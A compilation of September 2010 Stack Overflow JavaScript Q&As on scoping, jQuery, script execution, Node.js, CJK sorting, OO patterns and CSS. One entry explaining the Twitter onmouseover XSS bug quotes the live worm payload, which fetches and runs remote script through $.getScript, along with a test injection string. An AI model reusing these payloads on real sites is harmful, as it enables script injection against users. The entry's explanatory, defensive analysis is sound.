Best javascript questions in September 2010

What is this practice called in JavaScript?

40 votes

When you wrap your JavaScript code in a function like this:

(function(){

  var field = ...;
  function doSomthing(){...
  ...


})();

I noticed that this fixes scoping problems for me on a lot of web pages. What is this practice called?

The pattern is called self-invocation, a self-invoking function. It can create a closure, but that is an effect of the pattern (perhaps the intended effect), not the pattern itself.

Today's XSS onmouseover exploit on twitter.com

40 votes

Can you explain what exactly happened on Twitter today? Basically the exploit was causing people to post a tweet containing this link:

http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/

Is this technically an XSS attack or something else?

Here is how the Twitter home page looked like: http://ibz.posterous.com/xss-attack-on-twitter

The vulnerability is because URLs were not being parsed properly. For example, the following URL is posted to Twitter:

http://thisisatest.com/@"onmouseover="alert('test xss')"/

Twitter treats this as the URL. When it is parsed Twitter wraps a link around that code, so the HTML now looks like:

<a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span> 

You can see that by putting in the URL and the trailing slash, Twitter thinks it has a valid URL even though it contains a quote mark in it which allows it to escape (ie. terminate the href attribute, for the pedants out there) the URL attribute and include a mouse over. You can write anything to the page, including closing the link and including a script element. Also, you are not limited by the 140 character limit because you can use $.getScript().

This commit, if it were pulled, would have prevented this XSS vulnerability.

In detail, the offending regex was:

REGEXEN[:valid_url_path_chars] = /(?:
  #{REGEXEN[:wikipedia_disambiguation]}|
  @[^\/]+\/|
  [\.\,]?#{REGEXEN[:valid_general_url_path_chars]}
)/ix

The @[^\/]+\/ part allowed any character (except a forward slash) when it was prefixed by an @ sign and suffixed by a forward slash.

By changing to @#{REGEXEN[:valid_general_url_path_chars]}+\/ it now only allows valid URL characters.

Why doesn't jQuery bomb if your selector object is invalid?

38 votes

Was recently using some code along the lines of

$("#divMenuContainer:visible").hide("explode");

However after some time spent trying to get it to work I realized my selector was referencing a div that didnt exist.

The result of the query was simply that it didn’t execute.

Obviously this is by design, could anyone explain the logic of why this design choice was made rather than raise some sort of exception?

Not trying to criticise just trying to understand.

There are a few good reasons here, "chainability" is the main drive, the ability to write very terse code by chaining has to throw no errors to work seemlessly, for example:

$("#divMenuContainer:visible").hide("explode").add("#another").fadeIn();

Each object in the chain, even if it references no DOM elements may have more added later, or let's take another example:

$("#divMenuContainer:visible").live("click", function() { ... });

In this case we don't care about any of the elements the selector found, we care about the selector itself. Here's another:

$("#divMenuContainer:visible").find(".child").hide("explode").end().fadeOut();

Even if there are no children, we may want to hop back in the chain afterwards, continuing to use the .prevObject reference to go back up the chain.

There are dozens of distinct cases like this that show the benefits of the library being the way it is. As for the why, from interviews of John Resig, who is the creator of jQuery, he states that's just how it worked out. He was after code as terse as he could get it, and the chaining model is what came out of hat, it just happens to have a lot of benefits as well, the example above are just a few of those.

To be clear, I'm not saying every attribute of chaining is a good one, there are just many upsides to it.


Let's take this page as an example, what if we had something like this:

$(".comment").click(replyToFunction);

Should that fail because there aren't any comments yet? Well no not really, that's expected, I wouldn't want an error here...if the element exists do it, if not don't. My point is, at least in my experience, not throwing an error because of a missing element is tremendously more useful than throwing one.

The selector in your question, the #IDselector is a very special case where you expect only a single element, so maybe you could argue it should fail there...but then that wouldn't be consistent with other selectors, and you want a library to be consistent.

With pretty much any other selector you expect 0-many elements, so failing when you don't find any elements would be significantly less desirable in most situations, even more so in the cases like .live() above.

How many JavaScript programs are executed for a single web-page in the browser?

38 votes

JavaScript programs consist of statements and function declarations. When a JavaScript program is executed, these two steps occur:

  1. the code is scanned for function declarations, and every func. declaration is "executed" (by creating a function object) and a named reference to that function is created (so that this function can be called from within a statement)

  2. the statements are executed (evaluated) sequentially (as they appear in the code)

Because of that, this works just fine:

<script>
    foo();
    function foo() {
        return;
    }
</script>

Although the "foo" function is called before it is declared, it works because the function declaration is evaluated before the statement.

However, this does not work:

<script>
    foo();
</script>
<script>
    function foo() {
        return;
    }
</script>

A ReferenceError will be thrown ("foo is not defined"). This leads to the conclusion that every SCRIPT element inside the HTML code of the web-page represents a separate JavaScript program and every time the HTML parser encounters a SCRIPT element, it executes the program inside that element (and then once the program is executed, the parser moves on to the HTML code that follows the SCRIPT element).

Then again, this does work:

<script>
    function foo() {
        return;
    }
</script>
<script>
    foo();
</script>

My understanding here is that the Global object (which serves as the Variable object in the global execution context) exists (and remains) at all times, so the first JavaScript program will create the function object and make a reference for it, and then the second JavaScript program will use that reference to call the function. Therefore, all JavaScript programs (within a single web-page) "use" the same Global object, and all changes done to the Global object by one JavaScript program can be observed by all JavaScript programs that run subsequently.

Now, note this...

<script>
    // assuming that foo is not defined
    foo();
    alert(1);
</script>

In the above case, the alert call will not execute, because the "foo()" statement throws a ReferenceError (which breaks the whole JavaScript program) and therefore, all subsequent statements do not execute.

However, in this case...

<script>
    // assuming that foo is not defined
    foo();
</script>
<script>
    alert(1);
</script>

Now, the alert call does get executed. The first JavaScript program throws a ReferenceError (and as a consequence breaks), but the second JavaScript program runs normally. Of course, the browser will report the error (although it did execute subsequent JavaScript programs, after the error occurred).

Now, my conclusions are:

  • every SCRIPT element within the HTML code of the web-page represents a separate JavaScript program. These programs execute immediately as the HTML parser encounters them.
  • all JavaScript programs within the same web-page "use" the same Global object. That Global object exists at all times (from the moment the web-page is fetched up until the web-page is destroyed). JavaScript programs may manipulate the Global object, and all changes done to the Global object by one JavaScript program can be observed in all subsequent JavaScript programs.
  • if one JavaScript program breaks (by having an error thrown), that does not prevent subsequent JavaScript programs to execute.

Please fact-check this post and tell me if I got something wrong.

Also, I have not found resources that explain the behaviors mentioned in this post, and I assume that the browser makers must have published such resources somewhere, so if you know about them, please provide the links to them.

UPDATE!

OK, I am going to (try to) answer my own question here :) I got a response (via e-mail) from Dmitry A. Soshnikov (he runs a blog about JavaScript at http://www.dmitrysoshnikov.com/ ).

His take on this issue is this: Each SCRIPT block contains global code. Executing each SCRIPT block creates a new execution context. Therefore, each SCRIPT block has its own execution context, but all those execution contexts share the same Global object.

SCRIPT blocks could be viewed as different "sub-programs" with the same shared state.

Furthermore, the ECMAScript spec (3rd edition) states (chapter 10): "Global code is source text that is treated as an ECMAScript Program."

Dmitry Soshnikov has answered your question. Every <script> element is executed as a Program, as defined by the ECMAScript specification. There is one global object that each Program within a single page uses. And that's really it.

How is Node.js inherently faster when it still relies on Threads internally?

28 votes

I just watched the following video: Introduction to Node.js and still don't understand how you get the speed benefits.

Mainly, at one point Ryan Dahl (Node.js' creator) says that Node.js is event-loop based instead of thread-based. Threads are expensive and should only be left to the experts of concurrent programming to be utilized.

Later, he then shows the architecture stack of Node.js which has an underlying C implementation which has it's own Thread pool internally. So obviously Node.js developers would never kick off their own threads or use the thread pool directly...they use async call-backs. That much I understand.

What I don't understand is the point that Node.js still is using threads...it's just hiding the implementation so how is this faster if 50 people request 50 files (not currently in memory) well then aren't 50 threads required?

The only difference being that since it's managed internally the Node.js developer doesn't have to code the threaded details but underneath it's still using the threads to process the IO (blocking) file requests.

So aren't you really just taking one problem (threading) and hiding it while that problem still exists: mainly multiple threads, context switching, dead-locks...etc?

There must be some detail I still do not understand here.

Thanks!

-Ralph

There are actually a few different things being conflated here. But it starts with the meme that threads are just really hard. So if they're hard, you are more likely, when using threads to 1) break due to bugs and 2) not use them as efficiently as possible. (2) is the one you're asking about.

Think about one of the examples he gives, where a request comes in and you run some query, and then do something with the results of that. If you write it in a standard procedural way, the code might look like this:

result = query( "select smurfs from some_mushroom" );
// twiddle fingers
go_do_something_with_result( result );

If the request coming in caused you to create a new thread that ran the above code, you'll have a thread sitting there, doing nothing at all while while query() is running. (Apache, according to Ryan, is using a single thread to satisfy the original request whereas nginx is outperforming it in the cases he's talking about because it's not.)

Now, if you were really clever, you would express the code above in a way where the environment could go off and do something else while you're running the query:

query( statement: "select smurfs from some_mushroom", callback: go_do_something_with_result() );

This is basically what node.js is doing. You're basically decorating -- in a way that is convenient because of the language and environment, hence the points about closures -- your code in such a way that the environment can be clever about what runs, and when. In that way, node.js isn't new in the sense that it invented asynchronous I/O (not that anyone claimed anything like this), but it's new in that the way it's expressed is a little different.

Note: when I say that the environment can be clever about what runs and when, specifically what I mean is that the thread it used to start some I/O can now be used to handle some other request, or some computation that can be done in parallel, or start some other parallel I/O. (I'm not certain node is sophisticated enough to start more work for the same request, but you get the idea.)

What does sorting mean in double-byte languages?

21 votes

I have some code that sorts table columns by object properties. It occurred to me that in Japanese or Chinese (non-alphabetical languages), the strings that are sent to the sort function would be compared the way an alphabetical language would.

Take for example a list of Japanese surnames:

寿拘
松坂
松井
山田
藤本

In English, these would be Suzuki, Matsuzaka, Matsui, Yamada, Fujimoto.

When I sort the above list via Javascript, the result is:

寿拘
山田
松井
松坂
藤本

(Suzuki, Yamada, Matsui, Matsuzaka, Fujimoto) This is different from the ordering of the Japanese syllabary, which would order the list (phonetically) as Suzuki, Fujimoto, Matsui, Matsuzaka, Yamada.

What I want to know is:

  1. Does one double-byte character really get compared against the other in a sort function?
  2. What really goes on in such a sort?
  3. (Extra credit) Does the result of such a sort mean anything at all? Does the concept of sorting really work in Asian (and other) languages? If so, what does it mean and what should one strive for in creating a compare function for those languages?

ADDENDUM TO SUMMARIZE ANSWERS AND DRAW CONCLUSIONS:

First, thanks to all who contributed to the discussion. This has been very informative and helpful. Special shout-outs to bobince, Lie Ryan, Gumbo, Jeffrey Zheng, and Larry K, for their in-depth and thoughtful analyses. I awarded the check mark to Larry K for pointing me toward a solution my question failed to foresee, but I up-ticked every answer I found useful.

The consensus appears to be that:

  1. Chinese and Japanese character strings are sorted by Unicode code points, and their ordering may be predicated on a rationale that may be in some way intelligible to knowledgeable readers but is not likely to be of much practical value in helping users to find the information they're seeking.

  2. The kind of compare function that would be required to make a sort semantically or phonetically useful is far too cumbersome to consider pursuing, especially since the results would probably be less than satisfactory, and in any case the comparison algorithms would have to be changed for each language. Best just to allow the sort to proceed without even attempting a compare function.

  3. I was probably asking the wrong question here. That is, I was thinking too much "inside the box" without considering that the real question is not how do I make sorting useful in these languages, but how do I provide the user with a useful way of finding items in a list. Westerners automatically think of sorting for this purpose, and I was guilty of that. Larry K pointed me to a Wikipedia article that suggests a filtering function might be more useful for Asian readers. This is what I plan to pursue, as it's at least as fast as sorting, client-side. I will keep the column sorting because it's well understood in Western languages, and because speakers of any language would find the sorting of dates and other numerical-based data types useful. But I will also add that filtering mechanism, which would be useful in long lists for any language.

You could implement the Unicode Collation Algorithm in Javascript if you want something better than the default JS sort for strings. Might improve some things. Though as the Unicode doc states:

Collation is not uniform; it varies according to language and culture: Germans, French and Swedes sort the same characters differently. It may also vary by specific application: even within the same language, dictionaries may sort differently than phonebooks or book indices. For non-alphabetic scripts such as East Asian ideographs, collation can be either phonetic or based on the appearance of the character.

The Wikipedia article points out that since collation is so tough in non-alphabetic scripts, now a days the answer is to make it very easy to look up information by entering characters, rather than by looking through a list.

I suggest that you talk to truly knowledgeable end users of your application to see how they would best like it to behave. The problem of ordering Chinese characters is not unique to your application.

Also, if you don't want to implement the collation in your system, another solution would for you to create a Ajax service that stores the names in a MySql or other database, then looks up the data with an order statement.

Is John Resig's OO JavaScript implementation production safe?

20 votes

For a long time I have been throwing around the idea of making my JavaScript more object oriented. I have looked at a few different implementations of this as well but I just cannot decide if it is necessary or not.

What I am trying to answer are the following questions

  • Is John Resig's simple inheritance structure safe to use for production?
  • Is there any way to be able to tell how well it has been tested?
  • Besides Joose what other choices do I have for this purpose? I need one that is easy to use, fast, and robust. It also needs to be compatible with jQuery.

Huh. It looks much more complicated than it needs to be, to me.

Actually looking more closely I really take exception to what it is doing with providing this._super() whilst in a method, to call the superclass method.

The code introduces a reliance on typeof==='function' (unreliable for some objects), Function#toString (argh, function decomposition is also unreliable), and deciding whether to wrap based on whether you've used the sequence of bytes _super in the function body (even if you've only used it in a string. and if you try eg. this['_'+'super'] it'll fail).

And if you're storing properties on your function objects (eg MyClass.myFunction.SOME_PRIVATE_CONSTANT, which you might do to keep namespaces clean) the wrapping will stop you from getting at those properties. And if an exception is thrown in a method and caught in another method of the same object, _super will end up pointing at the wrong thing.

All this is just to make calling your superclass's method-of-the-same name easier. But I don't think that's especially hard to do in JS anyway. It's too clever for its own good, and in the process making the whole less reliable. (Oh, and arguments.callee isn't valid in Strict Mode, though that's not really his fault since that occurred after he posted it.)

Here's what I'm using for classes at the moment. I don't claim that this is the “best” JS class system, because there are loads of different ways of doing it and a bunch of different features you might want to add or not add. But it's very lightweight and aims at being ‘JavaScriptic’, if that's a word. (It isn't.)

Function.prototype.makeSubclass= function() {
    function Class() {
        if (!(this instanceof Class))
            throw 'Constructor function requires new operator';
        if ('_init' in this)
            this._init.apply(this, arguments);
    }
    if (this!==Object) {
        Function.prototype.makeSubclass.nonconstructor.prototype= this.prototype;
        Class.prototype= new Function.prototype.makeSubclass.nonconstructor();
    }
    return Class;
};
Function.prototype.makeSubclass.nonconstructor= function() {};

It provides:

  1. protection against accidental missing new. The alternative is to silently redirect X() to new X() so missing new works. It's a toss-up which is best; I went for explicit error so that one doesn't get used to writing without new and causing problems on other objects not defined like that. Either way is better than the unacceptable JS default of letting this. properties fall onto window and mysteriously going wrong later.

  2. an inheritable _init method, so you don't have to write a constructor-function that does nothing but call the superclass constructor function.

and that's really all.

Here's how you might use it to implement Resig's example:

var Person= Object.makeSubclass();
Person.prototype._init= function(isDancing) {
    this.dancing= isDancing;
};
Person.prototype.dance= function() {
    return this.dancing;
};

var Ninja = Person.makeSubclass();
Ninja.prototype._init= function() {
    Person.prototype._init.call(this, false);
};
Ninja.prototype.swingSword= function() {
    return true;
};

var p= new Person(true);
p.dance(); // => true

var n = new Ninja();
n.dance(); // => false
n.swingSword(); // => true

// Should all be true
p instanceof Person &&
n instanceof Ninja && n instanceof Person

Superclass-calling is done by specifically naming the method you want and calling it, a bit like in Python. You could add a _super member to the constructor function if you wanted to avoid naming Person again (so you'd say Ninja._super.prototype._init.call, or perhaps Ninja._base._init.call).

How do you organize large JS/jQuery code bases across your entire website?

19 votes

How do you organize large JS/jQuery codebases across your entire website? There are plenty of good resources on how to organize pieces of your code, but nothing really about how to pull it all together and fit each piece into place: side wide code organization, multiple pages using the same code, staying DRY with loose coupling, etc.

Below is how I deal with it. I've never been comfortable organizing my code like this, because I think it's sloppy and can lead to maintainability/scaling problems, but I don't really know any better.

I realize I everyone has their own set of requirements and there’s no turn-key solutions, but I’d love to hear some opinions about what I’m doing wrong, WHY I’m doing it wrong, and suggestions on how to write more maintainable code.

What I think I’m really trying to get at:

  1. How do you deal with logic that you need to use in multiple places, on multiple pages?

  2. How do you organize page-specific code? Is namespacing each page into a global object a good idea?1.

  3. What do you do from the start to ensure you’re not constantly re-writing your organization patterns as your app grows larger and larger? I’m probably on my 4th iteration writing this thing.2.

Each page receives the main application.js file. Each additional page has it's own application.pagename.js file. I use server side logic to include the files (first checking to see if one even exists for the page - some pages don't need JS), and then init them in order.

So my home page looks like:

<script src="js/application.js"></script>
<script src="js/application.index.js"></script>
<script>
    MyApp.init();
    MyApp.index.init();
</script>

my URL convention is /page/subpage/id/. I have about 10 pages and a whole slew of subpages, each subpage requiring their own logic. see the last example in this post.

Most of my code is already modularized into either jQuery UI widgets or jQuery plugins, so I'd say 75% of the code in these files is require()'ing a widget and initing it.

I use requireJS to pull in widgets as necessary.

// application.js
var MyApp = {
    init: function(){
        var self = this;

        // these widgets are available on every single page
        // notice the call to jquery.deparam.js - i'll use this later to init subpage logic.
        require(['js/widget1.js', 'js/widget2.js', 'js/widget3.js', 'js/jquery.deparam.js'], function(){

            // deparam the query string.  I'll use this later.
            self.querystring = $.deparam.querystring();

            // init widgets once the document is ready
            $(function(){
                $("#widget1").widget1();
                $("#widget2").widget2();

                // make these bindings available immediately as well.
                self.rebindable();
            });
        });
    },

    // I use jQuery UI Dialog extensively as a window manager, and each dialog is loaded
    // via an AJAX request.  I'll call this method after each AJAX request to
    // rebind some key widgets.
    rebindable: function(){
        $("#widget3").widget3();
    }
};

// application.index.js
// home page specific stuff.  this file is only included on the home page.
MyApp.index = {

    // my convention is that init is automatically called after the script
    // is included in a page, outside of a doc.ready statement.
    init: function(){
        var self = this;

        require(['js/widget4.js'], function(){
            $(function(){
                self.widget4( $("#foo") );
            });
        });
    },

    // passing elements to each method allows me to call this init code
    // outside of the index page.  I can require() this file, and only init
    // widget4, and even use a different element.
    widget4: function( element ){
        var config = {
            something: "custom to the home page"
        };

        element.widget4( config );
    }
};


// application.foo.js
// page "foo" stuff
MyApp.foo = {

    init: function(){
        var self = this;

        // this page happens to use the same widget3 and configuration present 
        // in MyApp.index.  this is where things can get sloppy and unmaintainable
        // really quickly.
        require(['js/application.index.js'], function(){
            $(function(){
                MyApp.index.widget3( $("#bar") );
            });
        });

        // page "foo" has three subpages (or actions) and require
        // their own logic.  url convention:  /foo/subpage1/
        // init whichever page we're on...
        switch( self.querystring.subpage ){
            case "subpage1":
                self.subpage1.init();
                break;
            case "subpage2":
                self.subpage2.init();
                break;
            case "subpage3":
                self.subpage3.init();
                break;
        }
    },

    subpage1: function(){
        init: function(){
            var self = this;

            // once the DOM is ready init dialog.
            $(function(){
                self.dialog( $("#openDialog") );
            });
        },

        dialog: function( element ){
            element.bind("click", function(){
                $('<div></div>').dialog({
                    open: function(){

                        // see what i'm doing here?
                        MyApp.rebindable();

                        // maybe more bindings specific to this
                        // dialog here
                    }
                });
            });
        }
    },

    subpage2: function(){
        init: function(){
        }
    },

    subpage3: function(){
        init: function(){
        }
    }
};

To help me answer your specific questions, please allow me talk a little about JavaScriptMVC's features:

Controller will improve your jQuery widgets, taking care of setup / teardown, extensibility.

View adds client side templates that can be built into your app.

Model abstracts the service / data layer minimizing and localizing JS changes if your server changes.

Steal does dependency management, compression, and code cleaning. It will even take all your scripts across all your pages, figure out shared dependencies, and combine scripts into an optimal payload.

FuncUnit makes testing your apps as easy as possible.

DocumentJS ... well ... documents your code

.

Now on your specific questions:

How to deal with logic used in multiple places?

I use StealJS's dependency management system to load the functionality I need into my page. Dependency management is absolutely necessary on apps of a certain size. RequireJS is a good choice if you are able to build it easily.

How do you organize page specific code

Page specific code should be as small as possible. It typically involves loading dependencies and a "MainController". That main controller configures the page to obey the functional / business requirements of that page. It's typically namespaced as something like:

App.Controllers.Main

how do you stop writing the same patterns

Well, I suggest using a framework that has stable patterns for development. Also, keep your modules / plugins / widgets as small (and testable) as possible. This will make these parts much less likely to change.

Finally ....

It seems your biggest struggle tension between:

  • shared functionality
  • multiple pages
  • timely load times

So picking a solid dependency management tool is super critical. StealJS could help you get very optimal loading times, but you'd have to stray from JavaScriptMVC's standard folder organization due to your larger number of pages.

RequireJS is more flexible, but you're going to have to load a lot of files. Not only will this be slow, this is going to start making you create lots of big JS files that aren't very organized.

If you are happy with the loading times and feel like they won't cause you to squeeze code into files it doesn't belong, your current solution seems like it will work.

I think the secret to maintainable development is how easy your system/framework allows you to isolate concerns. It's important to break up your app into the smallest parts possible. Plus, you should be testing these parts. People get side-tracked by thinking about their pages functionality. But to really scale development you really need something that allows you to break up your app into little parts, load those parts easily, and somehow get the app to still run fast in production.

JavaScript variables declare outside or inside loop?

17 votes

In AS3 I believe you should initialise all variables outside loops for increased performance. Is this the case with JavaScript as well? Which is better / faster / best-practice?

var value = 0;

for (var i; i < 100; i++)
{
    value = somearray[i];
}

or

for (var i; i < 100; i++)
{
    var value = somearray[i];
}

There is absolutely no difference in meaning or performance, in JavaScript or ActionScript.

var is a directive for the parser, and not a command executed at run-time. If a particular identifier has been declared var once or more anywhere in a function body(*), then all use of that identifier in the block will be referring to the local variable. It makes no difference whether value is declared to be var inside the loop, outside the loop, or both.

Consequently you should write whichever you find most readable. I disagree with Crockford that putting all the vars at the top of a function is always the best thing. For the case where a variable is used temporarily in a section of code, it's better to declare var in that section, so the section stands alone and can be copy-pasted. Otherwise, copy-paste a few lines of code to a new function during refactoring, without separately picking out and moving the associated var, and you've got yourself an accidental global.

In particular:

for (var i; i<100; i++)
    do something;

for (var i; i<100; i++)
    do something else;

Crockford will recommend you remove the second var (or remove both vars and do var i; above), and jslint will whinge at you for this. But IMO it's more maintainable to keep both vars, keeping all the related code together, instead of having an extra, easily-forgotten bit of code at the top of the function.

Personally I tend to declare as var the first assignment of a variable in an independent section of code, whether or not there's another separate usage of the same variable name in some other part of the same function. For me, having to declare var at all is an undesirable JS wart (it would have been better to have variables default to local); I don't see it as my duty to duplicate the limitations of [an old revision of] ANSI C in JavaScript as well.

(*: other than in nested function bodies)

What's the meaning of "()" in a function call?

15 votes

Now, I usually call a function (that requires no arguments) with () like this:

myFunction(); //there's empty parens

Except in jQuery calls where I can get away with:

$('#foo').bind('click', myFunction); //no parens

Fine. But recently I saw this comment here on SO:

"Consider using setTimeout(monitor, 100); instead of setTimeout('monitor()', 100);. Eval is evil :)"

Yikes! Are we really eval()-ing a string here? I guess I don't really understand the significance and implications of 'calling' a function. What are the real rules about calling and referring to functions?

In JavaScript functions are first-class objects. That means you can pass functions around as parameters to a function, or treat them as variables in general.

Let's say we are talking about a function hello,

function hello() {
    alert('yo');
}

When we simply write

hello

we are referring to the function which doesn't execute it's contents. But when we add the parens () after the function name,

hello()

then we are actually calling the function which will alert "yo" on the screen.

The bind method in jQuery accepts the type of event (string) and a function as its arguments. In your example, you are passing the type - "click" and the actual function as an argument.

Have you seen Inception? Consider this contrived example which might make things clearer. Since functions are first-class objects in JavaScript, we can pass and return a function from within a function. So let's create a function that returns a function when invoked, and the returned function also returns another function when invoked.

function reality() {
    return function() {
        return function() {
            alert('in a Limbo');
        }
    };
}

Here reality is a function, reality() is a function, and reality()() is a function as well. However reality()()() is not a function, but simply undefined as we are not returning a function (we aren't returning anything) from the innermost function.

So for the reality function example, you could have passed any of the following to jQuery's bind.

$('#foo').bind('click', reality);
$('#foo').bind('click', reality());
$('#foo').bind('click', reality()());

Why don't they implement python and ruby on the web browsers?

15 votes

I wonder, why don't they implement other languages like python and ruby on the web browsers?

Don't they fit as client programming languages or did it just happen to be that Javascript was the first one to be implemented, and they then kept on only supporting javascript because it just worked.

I mean...I really hate Javascript compared to Ruby, no matter how hard I try to like it, as soon as I see Ruby code I want to cry for Javascript for being so ugly.

Will there be no chance at all for Ruby and Python on the browser side (without having to use Silverlight) for the next 10 years?

At the time JavaScript was designed, Python would have been at a very immature stage (1.2-ish) and Ruby wouldn't have existed at all. What we consider a modern scripting language now didn't exist then. Python didn't gain Unicode support (vital for a web browser) until version 1.6, several years later; Ruby... well, yeah.

The dominant scripting language then was Perl. Let us be thankful Eich didn't copy that.

Technically, a language for execution on the client side needs strong sandboxing capabilities that CPython and Ruby don't have. Whilst Python can be integrated into IE via the Windows Scripting Host, doing so completely hoses your security. It is not trivial to create a sandboxed version of a language that wasn't designed for it.

Will there be no chance at all for Ruby and Python on the browser side

No, none whatsoever, even in a restricted form that solved the security problems. Even Microsoft couldn't make VBScript for the web catch on. JavaScript is the language that works everywhere; you aren't going to be able to beat that inertia.

At this point we must concentrate on improving the language. The standardisation of ECMAScript Fifth Edition is a big step forward, offering new methods that really help with writing terse code that passes around functions like Ruby blocks. And Mozilla's JavaScript implementation offers some interesting new features like Python-style generators. (On the other hand, it also supports E4X, a vile pox on the language, so whatever.)

JS is not so bad, written tastefully. Of course, the majority of code out there, and in tutorials, is anything but tasteful. But that's hardly a problem limited to JS.

Design Patterns used in the jQuery library

13 votes

jQuery is highly focused on the DOM and provides a nice abstraction around it. In doing so, it makes use of various well known design patterns which just hit me yesterday. One obvious example would be the Decorator pattern. The jQuery object provides new and additional functionality around a regular DOM object.

For example, the DOM has a native insertBefore method but there is no corresponding insertAfter method. There are various implementations available to fill this gap, and jQuery is one such library that provides this functionality:

$(selector).after(..)
$(selector).insertAfter(..)

There are many other examples of the Decorator pattern being heavily used in jQuery.

What other examples, big or small, of design patterns have you noticed that are part of the library itself? Also, please provide an example of the usage of the pattern.

Making this a community wiki as I believe that various things people love about jQuery can be traced back to well known design patterns, just that they are not commonly referred to by the pattern's name. There is no one answer to this question, but cataloging these patterns will provide a useful insight into the library itself.

Lazy Initialization:

$(document).ready(function(){
    $('div.app').myPlugin();
});

Adapter or wrapper

$('div').css({
    opacity: .1 // opacity in modern browsers, filter in IE.
});

Facade

// higher level interfaces (facades) for $.ajax();
$.getJSON();
$.get();
$.getScript();
$.post();

Observer

// jQuery utilizes it's own event system implementation on top of DOM events.
$('div').click(function(){})
$('div').trigger('click', function(){})

Iterator

$.each(function(){});
$('div').each(function(){});

Strategy

$('div').toggle(function(){}, function(){});

Proxy

$.proxy(function(){}, obj); // =oP

Builder

$('<div class="hello">world</div>');

Prototype

// this feels like cheating...
$.fn.plugin = function(){}
$('div').plugin();

Flyweight

// CONFIG is shared
$.fn.plugin = function(CONFIG){
     CONFIG = $.extend({
         content: 'Hello world!'
     }, CONFIG);
     this.html(CONFIG.content);
}

Examples of practical javascript object oriented design patterns

13 votes

What object oriented design patterns do you use in your application's javascript, and why?

Feel free to post code, even if there is no formal design pattern attached to it.

I have written plenty of javascript, but I have not applied much object orientated patterns to what I am doing, and I am sure i am missing a lot.

The following are three popular JavaScript patterns. These happen to be easily implementable because of closures:

You may also want to check out:

The following is a Google I/O talk from 2008 presented by Diaz, where he discusses some topics from his book:

Any significant reasons not to use AJAX?

13 votes

I'm planning on making my web app quite AJAX heavy.

Before I do, I'm wondering what people think of such sites. Are there any significant reasons not to do this?

BTW, no need to mention SEO reasons. Also, I think the benefits make up for the fact that people without javascript will have a limited experience (though I'm open to being convinced otherwise).

It depends on how you plan to use it, IMO.

1) If the site will absolutely fail without it, you are excluding users with scripting disabled. I think it is fair in many scenarios to limit but not remove functionality for no-script users (for example, Google doesn't autocomplete searches if you have scripting disabled; it can't...but the basic search still works).

2) The right techniques need to be used in the right place. For example, an ASP.Net UpdatePanel will perform horribly if you dump thousands of elements into it.

3) I am becoming a bigger and bigger fan of content that is loaded in small blocks on the page that does not require a full refresh NOR does it require the whole page to be executed again. This lends itself to a SOA nicely, but is even more subject to the limits of #1.

4) EDIT: Don't create UI elements that (due to AJAX) behave unexpectedly. For example, I once built a dropdown list that only populated when it was toggled. Because of latency and DOM creation time, it wasn't responsive. Furthermore, the size would often change based on what elements were dynamically added. You could propose ways around these problems, but that was still an incorrect use of the technology.

How much time should I put into validating my HTML and CSS?

12 votes

I'm making some pages using HTML, CSS, JavaScript and PHP. How much time should I be putting into validating my pages using W3C's tools? It seems everything I do works but provides more errors according to the validations.

Am I wasting my time using them? If so any other suggestions to make sure I am making valid pages or if it works it's fine?

You should validate your code frequently during development. E.G after each part/chunk revalidate it, and fix errors immediately. that approach speeds up your learning curve, since you instantly learn from small mistakes and avoid a bunch of debugging afterwards, that will only confuse you even more.

A valid page guarantees you that you don't have to struggle with invalid code AND cross-browser issues at the same time ;)

use:

Avoid writing new code until all other code is debugged and fixed

if you have a schedule with a lot of bugs remaining to be fixed, the schedule is unreliable. But if you've fixed all the known bugs, and all that's left is new code, then your schedule will be stunningly more accurate.(Joel test rule number 5)

What does the exclamation mark do before the function?

12 votes
!function () {}();

The function:

function () {}

returns nothing (or undefined).

So, this expression calls that function:

function () {}()

and using the ! operator on the result converts the undefined result to true:

!function () {}()

As this will show you:

alert( !function () {}());

How can we avoid the shake when we hover over an element and set its border?

11 votes

How can we avoid the shake when we hover over an element and set its border? Here is a sample of the code I wrote:

http://jsfiddle.net/s3N2h/

Is there a technique to avoid the shaking? Suppose I hover on File, the borders appears, but that line of text moves a little to the right due to the borders getting rendered. If we hover away it again shakes.

Is there any CSS way of avoiding such shakes?

The usual solution to this problem is to start off with a transparent border, then give the border a colour on hover.

I've updated your fiddle with this technique:

http://jsfiddle.net/s3N2h/1/

CSS and JavaScript:

#my_menu li {
    border: 1px solid transparent;
}

li.hover(function() {
    $(this).css('border-color', 'white #808080 #808080 white');
}, function() {
    $(this).css('border-color', 'transparent');
});​

How is Google's buckyball doodle implemented?

10 votes

I've had a look at the markup it creates, namely a bunch of atom images for the atoms, and a big background image, which is used rather strangely to create the bonds.

There are some things that I can't work out:

  1. Where the javascript is
  2. What makes the bonds at the rear narrower
  3. Why the atoms also have the bond background applied

If you take a look at the markup, it is just a bunch of images and divs with position attributes, forming them into a sort of grid. This file: http://www.google.com/logos/2010/buckyball10-hp-bond.png is a sprite containing every bond, in every direction. This image is the atom: http://www.google.com/logos/2010/buckyball10-hp-atom.png. The JavaScript they use animates these elements by changing the positions of them.

The JavaScript is in a Script element right after the Google logo and doodle markup. The rear bonds appear narrower because their opacity is changed to be slightly transparent. Finally, it doesn't look like the atoms have the bond background. They have their own sprite (cited above.)

Create a notification popup with a specific animation in mind.. possible?

10 votes

Hey guys, how would I go about making the following animation for my form submissions? I figured instead of typing it, I would create a visual.. Let me know if you think this is easily done.

alt text

Here's Andy's idea refined with horizontal centering.

HTML:

<form><div id="message"></div>
   <input> Label 1<br/><br/>
   <input> Label 2<br/><br>
   <textarea>Larger text area</textarea><br/><br/>
   <textarea>And another</textarea><br/><br/>
<button type="button">Submit</button>

CSS:

form { 
   position:relative; 
   width:500px;}
#message { 
   position:absolute;
   display:none;
   height:100px;
   width:200px;
   border: 1px gray solid;
   background-color:lime;
   font-size: 1.4em;
   line-height:100px;
   text-align:center;
   border-radius: 5px;
   bottom: 100px;}

Centering function:

(function($) {
$.fn.extend({
    center: function() {
        return this.each(function() {
            var left = ($(window).width() - $(this).outerWidth()) / 2;
            $(this).css({
                position: 'absolute',
                margin: 0,
                left: (left > 0 ? left : 0) + 'px'
            });
        });
    }
});})(jQuery);

Call center:

$("#message").center();

Click function:

$("button").click(function() {
var msg = $("#message");
msg.text("Item saved!")
msg.hide()
msg.stop(true, true).fadeIn('slow').animate({
